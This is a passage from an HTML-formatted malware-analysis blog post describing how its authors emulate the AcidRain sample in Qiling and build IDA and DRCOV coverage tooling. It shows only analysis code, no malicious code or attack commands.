&lt;/span&gt;        &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;existing_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;indent&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;truncate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Additionally, we can easily create separate log files for each process, which you can find in our &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Qiliot&quot;&gt;Qiliot&lt;/a&gt; GitHub project.&lt;/p&gt;

&lt;h3 id=&quot;custom-ida-script&quot;&gt;Custom IDA Script&lt;/h3&gt;

&lt;p&gt;To work with our result files, we developed a simple IDA script that marks instructions which were executed and prints out some basic statistics. This is primarily to demonstrate what is possible and to give us a closer look at how well the emulations work. To avoid going too deep into details, we will only explain a few interesting aspects. The plugin collects all virtual addresses of instructions from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.init&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.fini&lt;/code&gt; segments.&lt;/p&gt;

&lt;p&gt;It is important to note that AcidRain is statically linked malware, which means that all the library functions it uses are included in the sample. Through static analysis, we can determine that the core of AcidRain is between &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00400310&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x004017540&lt;/code&gt;. So, we are collecting all addresses of instructions within the AcidRain core. This allows us to see how much of the core was emulated.&lt;/p&gt;

&lt;p&gt;Using the results file, the script parses all result files located in our AcidRain result folder and collects all addresses from each emulation case.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;n&quot;&gt;START_ACIDRAIN_CORE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00400310&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;END_ACIDRAIN_CORE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00401740&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;collect_core_instrutions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Compares virtual addresses in IDA with the addresses in the results.json file.
    If the addresses from the result file are in the segment of the binary file in IDA,
    self.emu_main_addresses will be extended with this address.
    &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;START_ACIDRAIN_CORE&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;END_ACIDRAIN_CORE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idaapi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ua_mnem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;main_addresses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            
        &lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;idc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;next_head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next_acidrain_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It sounds really simple, but the results can vary if we don’t pay attention to small details. For example, in the MIPS architecture, disassemblers often simplify code such as address calculations, which is also the case for IDA.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 65%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/simplyfy_code_full.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/simplyfy_code_full.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/simplyfy_code_full.png&quot; alt=&quot;Address calculation in MIPS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/simplyfy_code_full.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/simplyfy_code_full.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/simplyfy_code_full.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 01: Address calculation in MIPS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This means that for the calculation, there might be two instructions, but the compiler condenses it into one.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 65%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/simplyfy_code.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/simplyfy_code.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/simplyfy_code.png&quot; alt=&quot;Simplified code line in MIPS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/simplyfy_code.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/simplyfy_code.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/simplyfy_code.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 02: Simplified code line in MIPS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;In IDA, you can turn this setting on or off when you load the sample:&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 65%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/settings_simplyfy_code.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/settings_simplyfy_code.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/settings_simplyfy_code.png&quot; alt=&quot;IDA setting for simplifying code in MIPS&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/settings_simplyfy_code.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/settings_simplyfy_code.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/settings_simplyfy_code.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 03: IDA setting for simplifying code in MIPS&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The consequence is that in the emulation, two instructions are counted, but in IDA, we only see one. This can and will affect your coverage results. With the code &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;idaapi.ua_mnem(next_acidrain_address)&lt;/code&gt;, you can retrieve the mnemonic of the instruction. For the second address in this case, the function will return None. Thus, we can disregard this virtual address in the further calculations.&lt;/p&gt;

&lt;h2 id=&quot;coverage-file&quot;&gt;Coverage File&lt;/h2&gt;
&lt;p&gt;Qiling also provides a plugin to collect code coverage information and save it in the DRCOV format, making the results suitable for further processing or manual viewing. It offers both a command-line interface and an API, making it easy to integrate with your Python scripts.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 65%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/Easy_going_meme.jpg&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/Easy_going_meme.jpg&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/Easy_going_meme.jpg&quot; alt=&quot;Easy going meme&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/Easy_going_meme.jpg&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/Easy_going_meme.jpg&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/Easy_going_meme.jpg)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The idea is to create the coverage file using a with statement and collect all necessary information while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ql.run()&lt;/code&gt; executes the emulation.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cov_utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;collect_coverage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;drcov&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;my_coverage_file.cov&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;However, the result is an incomplete coverage file. Why? As mentioned earlier, AcidRain initiates multiple processes. The coverage functionality does not update the coverage file properly, the outcome: the basic blocks in the DRCOV file are not completed.&lt;/p&gt;

&lt;p&gt;To address this, we need to make adjustments for our emulation.&lt;/p&gt;

&lt;h3 id=&quot;initializing-the-coverage-file&quot;&gt;Initializing the Coverage File&lt;/h3&gt;
&lt;p&gt;The idea is to create our own coverage file generator, which is available in our &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/Qiliot&quot;&gt;Qiliot&lt;/a&gt; GitHub project.&lt;/p&gt;

&lt;p&gt;But first things first. We started by generating a coverage file and opening it in a hex editor to analyze its structure and the information it contains. With that understanding, we proceeded to write our own Qiling coverage Python script. To achieve this, we created a class that initializes the coverage file:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;QiliotCov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;QlDrCoverage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Qiliot coverage built on Qiling coverage. 
    This enables to have a coverage file that includes every created process
    &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;
    
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
        Initialize Qiliot coverage with extanded attributes.
        &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;_init_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;


    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_init_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
        Internal function to initalize the coverage file.
        &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;wb&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;writing-the-header&quot;&gt;Writing the Header&lt;/h3&gt;
&lt;p&gt;We reversed the coverage file and could see how the header was defined:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DRCOV VERSION: XXX
DRCOV FLAVOR: XXX
Module Table: version XXX, count XXX 
Columns: id, base, end, entry, checksum, timestamp, path
         XXX, XXX, XXX, XXX, XXX, XXX, XXX
BB Table: 00000000 bbs
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Note: XXX is a placeholder for the values.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;We are writing exactly this header into our coverage file. The necessary values are obtained from the Qiling class &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;QlDrCoverage&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;write_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
    Writes the header for the coverage file.
    
    Args: 
        cov: Coverage file which need to be updated.
    &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&apos;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;DRCOV VERSION: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;drcov_version&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;DRCOV FLAVOR: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;drcov_flavor&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Module Table: version &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;drcov_version&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, count &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Columns: id, base, end, entry, checksum, timestamp, path&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mod_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;images&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mod_id&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;, 0, 0, 0, &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span 